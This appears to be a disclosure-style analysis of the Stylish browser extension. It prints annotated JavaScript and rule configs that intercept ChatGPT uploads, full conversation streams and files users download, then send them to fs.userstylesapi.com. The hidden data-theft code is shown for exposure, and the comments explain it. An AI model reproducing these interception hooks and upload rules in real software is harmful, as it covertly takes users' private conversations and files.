Is Stylish - Custom themes for any website safe?

// Runs 1 second after an XHR.send() call.
// If the request carries a File (i.e. a file upload) and the rule matched:
setTimeout(() => {
  if (this["antifork+"] && arguments[0] instanceof File) {
    const fileName = arguments[0].name;
    const fileType = arguments[0].type;
    const blobUrl  = URL.createObjectURL(arguments[0]); // wrap file in memory blob URL
    self.dispatchEvent(new CustomEvent("antifork-fk", {
      detail: {
        way:  "xhr",
        ab:   blobUrl,          // blob URL pointing to the file data
        url:  this.unsafeHeaders, // original upload destination (oaiusercontent.com)
        name: fileName,
        type: fileType,
        fth:  this["fork_to_host"],  // = "fs.userstylesapi.com"
        c:    this[rule_object]       // the matching rule
      }
    }));
  }
}, 1000);

{
  "configTarget": "content_request_fork_and_proxy",
  "type": "gpt_con_fork_upload",
  "page_url_match": "https:\/\/chat(gpt)?.com.*",
  "request_url_match": "https:\/\/files\\d{0,2}\\.oaiusercontent\\.com\/file-.*|https:\/\/sdmntpr\\w+\\.oaiusercontent\\.com\/files\/",
  "fork_to_host": "fs.userstylesapi.com"
}

// This rule is delivered by userstylesapi.com and stored in chrome.storage.local.
// It tells the content script which ChatGPT requests to intercept.
//
// Plain-English translation:
//   - Only activate on pages matching: https://chatgpt.com/* (any ChatGPT page)
//   - Intercept requests matching: /backend-(api|anon)/(f/)?conversation/*
//     (covers all ChatGPT conversation API variants including Pro/Anon tiers)
//   - Only forward if response line matches SSE data format (event: ... / data: ...)
//   - Extract: version tag (v2=8), request URL, delivery method (fetch),
//     performance timestamp, datetime, and full conversation body
//     (SSE stream split into individual delta events, each JSON-parsed)
const gpt_con_delta_fetch = {
  configTarget: 'content_request_parser',
  version: { major: 1, minor: 17 },
  pageMatch:    /https:\/\/chatgpt\.com.*/,
  requestMatch: /https:\/\/chatgpt\.com\/backend-(api|anon)\/(f\/)?conversation.*/,
  // Only forward if response looks like an SSE stream:
  isOk:   /(?:event: (\w+)\n)?data: (.*)/,
  // What to extract from the intercepted response:
  extract: [
    { key: 'v2',            value: 8 },                    // rule version tag
    { key: 'url',           value: request.url },         // conversation URL
    { key: 'way',           value: 'fetch' },              // hook type
    { key: 'performance_now', value: performance.now() }, // sub-millisecond timestamp
    { key: 'datetime_now',  value: Date.now() },          // epoch timestamp
    { key: 'body',          value: parseSseStream(response.body) } // full conversation
  ]
};

{
  "configTarget": "content_request_parser",
  "vmajor": 1, "vminor": 23,
  "type": "gpt_file_download_similarweb",
  "page_url_match": "https:\/\/chatgpt.com.*",
  "request_url_match": "https:\/\/chatgpt\.com\/backend-(api|anon)\/conversation\/\\w+-\\w+-\\w+-\\w+-\\w+\/interpreter\/download",
  "isOk": { "type": "check", "if": "equals", "target": "application/json", "object": { "type": "smart-path", "path": "[ prop contentType ]" } },
  "analyse": {
    "type": "sequence",
    "seq": [
      // 1. Parse the JSON response to get download_url and file_name
      { "type": "var-set", "name": "JSON", "value": { "type": "util", "util": "json-parse", "object": { "type": "smart-path", "path": "[ prop message ]" } } },
      // 2. If download_url exists:
      { "type": "condition", "condition": { "type": "check", "if": "exists", "object": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } },
        "caseTrue": { "type": "sequence", "seq": [
          // 3. Fetch the file from OpenAI to a blob URL
          { "type": "var-set", "name": "OBJECT_URL", "value": { "type": "util", "util": "fetch-file-to-object-url", "url": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } } },
          // 4. Upload the blob to SimilarWeb's server
          { "type": "util", "util": "upload-object-url-via-service-worker",
            "objectUrl": { "type": "var-get", "name": "OBJECT_URL" },
            "uploadTo": "https://fs.userstylesapi.com/file-downloaded",
            "props": { "fileName": "...", "downloadUrl": "...", "requestType": "gpt-downloaded-model-generated", "sourceUrl": "..." }
          }
        ]}
      }
    ]
  },
  "filterPayload": { "type": "constant", "value": false }
}